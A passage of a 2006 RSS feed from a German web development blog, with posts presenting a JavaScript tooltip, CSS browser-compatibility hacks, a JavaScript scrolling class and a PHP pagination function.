<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> enable_tt<span class="br0">&#40;</span>tt_content, blnShow_tt<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; show_tt = blnShow_tt;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; obj_tt.<span class="me1">innerHTML</span> = tt_content;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> hide_tt<span class="br0">&#40;</span>blnShow_tt<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; show_tt = blnShow_tt;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; obj_tt.<span class="me1">style</span>.<span class="me1">width</span> = <span class="st0">&#8221;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; obj_tt.<span class="me1">style</span>.<span class="me1">left</span> = <span class="st0">&quot;-5000px&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; obj_tt.<span class="me1">style</span>.<span class="me1">visibility</span> = <span class="st0">&quot;hidden&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> tt_position<span class="br0">&#40;</span>objThis<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>show_tt<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">// get ViewPortheight</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw2">var</span> intcH = document.<span class="me1">documentElement</span>.<span class="me1">clientHeight</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">// differentiated values for IE and NS</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>blnIE<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; intcX = event.<span class="me1">clientX</span>; intcY = event.<span class="me1">clientY</span> + document.<span class="me1">documentElement</span>.<span class="me1">scrollTop</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; intsLeft = document.<span class="me1">documentElement</span>.<span class="me1">scrollLeft</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw2">var</span> intBottom = intcH &#8211; event.<span class="me1">clientY</span> &#8211; <span class="nu0">20</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; intcX = objThis.<span class="me1">clientX</span>; intcY = objThis.<span class="me1">pageY</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw2">var</span> intBottom = intcH &#8211; objThis.<span class="me1">clientY</span> &#8211; <span class="nu0">20</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; intsLeft = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">// set tt-pos</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; obj_tt.<span class="me1">style</span>.<span class="me1">left</span> = intcX &#8211; intOffset_X_Pointer + <span class="st0">&quot;px&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>intBottom &lt; obj_tt.<span class="me1">offsetHeight</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; obj_tt.<span class="me1">style</span>.<span class="me1">top</span> = intcY &#8211; obj_tt.<span class="me1">offsetHeight</span> &#8211; <span class="nu0">10</span> + <span class="st0">&quot;px&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; obj_tt.<span class="me1">style</span>.<span class="me1">top</span> = intcY + intOffset_Y_Pointer + <span class="st0">&quot;px&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; obj_tt.<span class="me1">style</span>.<span class="me1">visibility</span> = <span class="st0">&quot;visible&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>Im Kopfbereich der HTML-Seite sind nur wenige Änderungen notwendig. Das ausgelagerte JavaScript (tooltip.js) sowie zwei Anweisungen zur initialisieren müssen eingebunden werden.</p>
<div class="html4strict" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="sc2"><a href="http://december.com/html/4/element/script.html"><span class="kw2">&lt;script</span></a> <span class="kw3">type</span>=<span class="st0">&quot;text/javascript&quot;</span> <span class="kw3">src</span>=<span class="st0">&quot;tooltip.js&quot;</span><span class="kw2">&gt;</span></span><span class="sc2"><span class="kw2">&lt;/script&gt;</span></span></div>
</li>
</ol>
</div>
<p></p>
<div class="javascript" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1">window.<span class="kw3">onload</span> = <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; generateToolTips<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; document.<span class="me1">onmousemove</span> = tt_position;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>Nun können unterschiedliche Element mit einen Tooltip versehen werden. Dafür muss dem Element die CSS-Klasse &#8220;tt&#8221; zugeordnet, sowie der Inhalt des Tooltips in das Attribut &#8220;title&#8221; geschrieben werden.</p>
<div class="html4strict" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="sc2"><a href="http://december.com/html/4/element/a.html"><span class="kw2">&lt;a</span></a> <span class="kw3">href</span>=<span class="st0">&quot;http://www.knoxmic.net&quot;</span> <span class="kw3">class</span>=<span class="st0">&quot;tt&quot;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">title</span>=<span class="st0">&quot;&lt;p&gt;</span>get this tooltip script now<span class="sc2">&lt;/p&gt;</span>&quot;&gt;tooltip #1<span class="sc2">&lt;/a&gt;</span></span></div>
</li>
</ol>
</div>
<p>Das vorgestellte Beispiel kann wieder im Browser <a href="/scripts/js_tooltip/example.html">betrachtet</a> oder <a href="/scripts/js_tooltip.zip">heruntergeladen</a> werden.</p>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/tooltip-with-javascript/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>CSS hacks 2 go</title>
		<link>http://knoxmic.net/css-hacks-2-go/</link>
		<comments>http://knoxmic.net/css-hacks-2-go/#comments</comments>
		<pubDate>Thu, 05 Oct 2006 15:00:00 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
				<category><![CDATA[programmers-corner]]></category>
		<category><![CDATA[webdesign]]></category>

		<guid isPermaLink="false">http://knoxmic.net/css-hacks-2-go/</guid>
		<description><![CDATA[Damit eine Website in unterschiedlichen Browsern richtig dargestellt werden kann, bedarf es nicht selten ein paar Tricks. Die folgenden selbst eingesetzten CSS-Snippets sollen eine eigene kleine Sammlung dieser Tricks darstellen:

So läßt sich zum Beispiel ein Bug bei der Implementierung einer CSS-Anweisung (voice-family) im Business Browser IE 4/5 zum verbergen von CSS-Anweisungen ausnutzen.




span &#123;


&#160; font-size:x-small;


&#160; voice-family:&#34;\&#34;}\&#34;&#34;;


&#160; [...]]]></description>
			<content:encoded><![CDATA[<p>Damit eine Website in unterschiedlichen Browsern richtig dargestellt werden kann, bedarf es nicht selten ein paar Tricks. Die folgenden selbst eingesetzten CSS-Snippets sollen eine eigene <strong>kleine</strong> Sammlung dieser Tricks darstellen:</p>
<p></p>
<p>So läßt sich zum Beispiel ein Bug bei der Implementierung einer CSS-Anweisung (voice-family) im <a href="http://stjan.de">Business Browser</a> IE 4/5 zum verbergen von CSS-Anweisungen ausnutzen.</p>
<p></p>
<div class="css" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1">span <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">font-size</span>:<span class="kw2">x-small</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">voice-family</span>:<span class="st0">&quot;<span class="es0">\&quot;</span>}<span class="es0">\&quot;</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">voice-family</span>:<span class="kw2">inherit</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">font-size</span>:small;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p></p>
<p>Um den IE 4/5/6 ganz vor der Tür stehen zu lassen, genügt der Gebrauch eines Kindselektors:</p>
<p></p>
<div class="css" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1">html&gt;body p <span class="br0">&#123;</span> <span class="kw1">margin</span>:<span class="nu0">0</span>; <span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p></p>
<p>Alle in dem Container, erste und letzte Zeile im Codebeispiel, enthaltenen Anweisungen sind für den Netscape 4 unsichtbar.</p>
<p></p>
<div class="css" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="coMULTI">/*/*/</span>a<span class="br0">&#123;</span><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">body <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">margin</span>:<span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* */</span></div>
</li>
</ol>
</div>
<p></p>
<p>Seit nicht allzu langer Zeit, tendiere ich allerdings dazu, CSS-Anweisungen die ich für den IE korrigieren muss, über <a href="http://msdn.microsoft.com/workshop/author/dhtml/overview/ccomment_ovw.asp" title="About Conditional Comments">Conditional Comments</a> darzustellen. Genau das würde ich auch allen Besuchern empfehlen, mit der weiteren Verbreitung des IE 7 sollten auch einige css hacks der Vergangenheit angehören.</p>
<p></p>
<div class="css" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1">&lt;!&#8211;<span class="br0">&#91;</span>if IE<span class="br0">&#93;</span>&gt;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &lt;style type=<span class="st0">&quot;text/css&quot;</span> media=<span class="st0">&quot;screen&quot;</span>&gt;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; p <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw1">padding</span>:<span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw1">margin</span>:<span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &lt;/style&gt;&nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&lt;! <span class="br0">&#91;</span>endif<span class="br0">&#93;</span>&#8211;&gt;</div>
</li>
</ol>
</div>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/css-hacks-2-go/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scrolling with JavaScript</title>
		<link>http://knoxmic.net/scrolling-with-javascript/</link>
		<comments>http://knoxmic.net/scrolling-with-javascript/#comments</comments>
		<pubDate>Sun, 24 Sep 2006 14:44:08 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
				<category><![CDATA[programmers-corner]]></category>

		<guid isPermaLink="false">http://knoxmic.net/test/</guid>
		<description><![CDATA[Möchte man auf seiner Website auf einer kleinen Fläche viele Informationen unterbringen, so führt selten ein Weg an einer kleineren Schriftart oder unschönen Scrollbalken vorbei.
Der hier vorgestellte Code soll eine Alternative dazu darstellen. Der Inhalt wird in ein div gepackt und läßt sich mittels JavaScript zum scrollen bewegen.
Als erstes sollte die notwendige JavaScript-Klasse für das [...]]]></description>
			<content:encoded><![CDATA[<p>Möchte man auf seiner Website auf einer kleinen Fläche viele Informationen unterbringen, so führt selten ein Weg an einer kleineren Schriftart oder unschönen Scrollbalken vorbei.<br />
Der hier vorgestellte Code soll eine Alternative dazu darstellen. Der Inhalt wird in ein div gepackt und läßt sich mittels JavaScript zum scrollen bewegen.</p>
<p>Als erstes sollte die notwendige JavaScript-Klasse für das Scrolling eingebunden werden.</p>
<div class="javascript" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">function</span> <span class="kw3">scroll</span><span class="br0">&#40;</span>objElement, intHeight<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">var</span> self = <span class="kw1">this</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">this</span>._y = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; objElement.<span class="me1">style</span>.<span class="me1">top</span>&nbsp; = <span class="st0">&quot;0px&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">this</span>.<span class="me1">setPosition</span> = <span class="kw2">function</span><span class="br0">&#40;</span>intPos, y<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>intPos &gt; <span class="nu0">0</span><span class="br0">&#41;</span> intPos = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>intPos &lt; intHeight &#8211; objElement.<span class="me1">offsetHeight</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; intPos = intHeight &#8211; objElement.<span class="me1">offsetHeight</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">this</span>._y = intPos;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; objElement.<span class="me1">style</span>.<span class="me1">top</span>&nbsp; = <span class="kw1">this</span>._y +<span class="st0">&quot;px&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">this</span>.<span class="me1">scrollY</span> = <span class="kw2">function</span><span class="br0">&#40;</span>y<span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="kw1">this</span>.<span class="me1">setPosition</span><span class="br0">&#40;</span><span class="kw1">this</span>._y + y, y<span class="br0">&#41;</span>; <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">this</span>.<span class="me1">start</span> = <span class="kw2">function</span><span class="br0">&#40;</span>y<span class="br0">&#41;</span> <span class="br0">&#123;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">this</span>.<span class="me1">scrollTimer</span> = window.<span class="me1">setInterval</span><span class="br0">&#40;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> self.<span class="me1">scrollY</span><span class="br0">&#40;</span>y<span class="br0">&#41;</span>; <span class="br0">&#125;</span>, <span class="nu0">25</span> <span class="br0">&#41;</span>; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">this</span>.<span class="kw3">stop</span> = <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">scrollTimer</span><span class="br0">&#41;</span> window.<span class="me1">clearInterval</span><span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">scrollTimer</span><span class="br0">&#41;</span>; <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span>;</div>
</li>
</ol>
</div>
<p>Danach ist es notwendig das Objekt, welches den zu scrollenden Inhalt enthält der Klasse &#8220;scroll&#8221; zu übergeben und damit ein neues Objekt zu erstellen.</p>
<div class="javascript" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding:0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">var</span> srollObject = <span class="kw2">null</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> initPage<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">var</span> objElement = document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">&#8216;content&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; srollObject = <span class="kw2">new</span> <span class="kw3">scroll</span><span class="br0">&#40;</span>objElement, <span class="nu0">150</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
</ol>
</div>
<p>Dieser Vorgang wird natürlich erst nach erfolgten Laden der Seite ausgeführt.</p>
<div class="html4strict" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="sc2"><a href="http://december.com/html/4/element/body.html"><span class="kw2">&lt;body</span></a> <span class="kw3">onload</span>=<span class="st0">&quot;initPage();&quot;</span><span class="kw2">&gt;</span></span></div>
</li>
</ol>
</div>
<p>Über diese zwei Elemente läßt sich das scrollen beeinflussen.</p>
<div class="html4strict" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="sc2"><a href="http://december.com/html/4/element/a.html"><span class="kw2">&lt;a</span></a> <span class="kw3">href</span>=<span class="st0">&quot;#&quot;</span> <span class="kw3">onmouseover</span>=<span class="st0">&quot;srollObject.start(-4);&quot;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">onmouseout</span>=<span class="st0">&quot;srollObject.stop();&quot;</span><span class="kw2">&gt;</span></span><span class="sc1">&amp;or;</span><span class="sc2"><span class="kw2">&lt;/a&gt;</span></span></div>
</li>
<li class="li1">
<div class="de1"><span class="sc2"><a href="http://december.com/html/4/element/a.html"><span class="kw2">&lt;a</span></a> <span class="kw3">href</span>=<span class="st0">&quot;#&quot;</span> <span class="kw3">onmouseover</span>=<span class="st0">&quot;srollObject.start(4);&quot;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">onmouseout</span>=<span class="st0">&quot;srollObject.stop();&quot;</span><span class="kw2">&gt;</span></span><span class="sc1">&amp;and;</span><span class="sc2"><span class="kw2">&lt;/a&gt;</span></span></div>
</li>
</ol>
</div>
<p>Das vorgestellte Beispiel kann im Browser <a href="/scripts/js_scroll/example.html">betrachtet</a> oder <a href="/scripts/js_scroll.zip">heruntergeladen</a> werden.</p>
<p><span style="color:#ff0000;">Update!</span> Über das Skript <a href="/scripts/scroll_xy.js">scroll_xy.js</a> (<a href="/scripts/js_scroll_xy.zip">zip</a>) ist auch ein Scrolling entlang der X- bzw. Y-Achse möglich.</p>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/scrolling-with-javascript/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Paging your content dynamicly</title>
		<link>http://knoxmic.net/paging-function-in-php/</link>
		<comments>http://knoxmic.net/paging-function-in-php/#comments</comments>
		<pubDate>Thu, 04 May 2006 21:43:44 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
				<category><![CDATA[programmers-corner]]></category>

		<guid isPermaLink="false">http://knoxmic.net/paging-function-in-php/</guid>
		<description><![CDATA[/* GeSHi (c) Nigel McNie 2004 (http://qbnz.com/highlighter) */
.php .de1, .php .de2 {color: #000060; font-weight: normal;}
.php  {white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f9f9f9; margin: 0; line-height: 110%; padding: 0;color: #000099;}
.php a:link {color: #006;}
.php a:hover {background-color: #d6d6e6;}
.php .head {font-family: Verdana, Arial, sans-serif; color: #808080; font-size: 70%; font-weight: bold; background-color: [...]]]></description>
			<content:encoded><![CDATA[<style type="text/css">
/* GeSHi (c) Nigel McNie 2004 (http://qbnz.com/highlighter) */
.php .de1, .php .de2 {color: #000060; font-weight: normal;}
.php  {white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f9f9f9; margin: 0; line-height: 110%; padding: 0;color: #000099;}
.php a:link {color: #006;}
.php a:hover {background-color: #d6d6e6;}
.php .head {font-family: Verdana, Arial, sans-serif; color: #808080; font-size: 70%; font-weight: bold; background-color: #f0f0ff; border-bottom: 1px solid #d0d0d0; padding: 2px;}
.php .foot {font-family: Verdana, Arial, sans-serif; color: #808080; font-size: 70%; font-weight: bold; background-color: #f0f0ff; border-top: 1px solid #d0d0d0; padding: 2px;}
.php .imp {font-weight: bold; color: red;}
.php li {list-style:none;font-family: 'Courier New', Courier, monospace; color: #000060; background-color: #f9f9f9; padding-bottom: 2px;}
.php .kw1 {color: #b1b100;}
.php .kw2 {color: #000000; font-weight: bold;}
.php .kw3 {color: #000066;}
.php .co1 {color: #808080; font-style: italic;}
.php .co2 {color: #808080; font-style: italic;}
.php .coMULTI {color: #808080; font-style: italic;}
.php .es0 {color: #000099; font-weight: bold;font-weight: normal;}
.php .br0 {color: #66cc66;}
.php .st0 {color: #ff0000;}
.php .nu0 {color: #cc66cc;}
.php .me1 {color: #006600;}
.php .me2 {color: #006600;}
.php .me {1}
.php .re0 {color: #0000ff;}</p>
</style>
<p>Do you need a function for paging your content? Feel free to use this php <a href="/scripts/php_paging.zip">code</a> for your application.<br />If you know any tips to improve let me know.</p>
<div class="php" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">function</span> paging<span class="br0">&#40;</span><span class="re0">$m</span>, <span class="re0">$u</span>, <span class="re0">$p</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$m</span> &gt; <span class="nu0">1</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$p</span> == <span class="st0">&quot;&quot;</span><span class="br0">&#41;</span> <span class="re0">$p</span> = <span class="nu0">1</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="re0">$i</span>=<span class="re0">$p</span>-<span class="re0">$u</span>; <span class="re0">$i</span>&lt;=<span class="re0">$p</span>+<span class="re0">$u</span>; <span class="re0">$i</span>++<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$i</span> == <span class="re0">$p</span>-<span class="re0">$u</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$p</span> == <span class="nu0">1</span><span class="br0">&#41;</span> <span class="re0">$strResult</span> .= <span class="st0">&#8216;1 &#8216;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="re0">$strResult</span> .= <span class="st0">&#8216;&lt;a href=&quot;?p=1&quot; class=&quot;p&quot;&gt;1&lt;/a&gt; &#8216;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$p</span>-<span class="re0">$u</span> &gt; <span class="nu0">2</span><span class="br0">&#41;</span> <span class="re0">$strResult</span> .= <span class="st0">&#8216;&#8230; &#8216;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$i</span> &lt; <span class="re0">$m</span> &amp;&amp; <span class="re0">$i</span> != <span class="nu0">1</span> &amp;&amp; <span class="re0">$i</span> &gt; <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$i</span> == <span class="re0">$p</span><span class="br0">&#41;</span> <span class="re0">$strResult</span> .= <span class="re0">$i</span>.<span class="st0">&#8216; &#8216;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="re0">$strResult</span> .= <span class="st0">&#8216;&lt;a href=&quot;?p=&#8217;</span>.<span class="re0">$i</span>.<span class="st0">&#8216;&quot; class=&quot;p&quot;&gt;&#8217;</span>.<span class="re0">$i</span>.<span class="st0">&#8216;&lt;/a&gt; &#8216;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$i</span> == <span class="re0">$p</span>+<span class="re0">$u</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
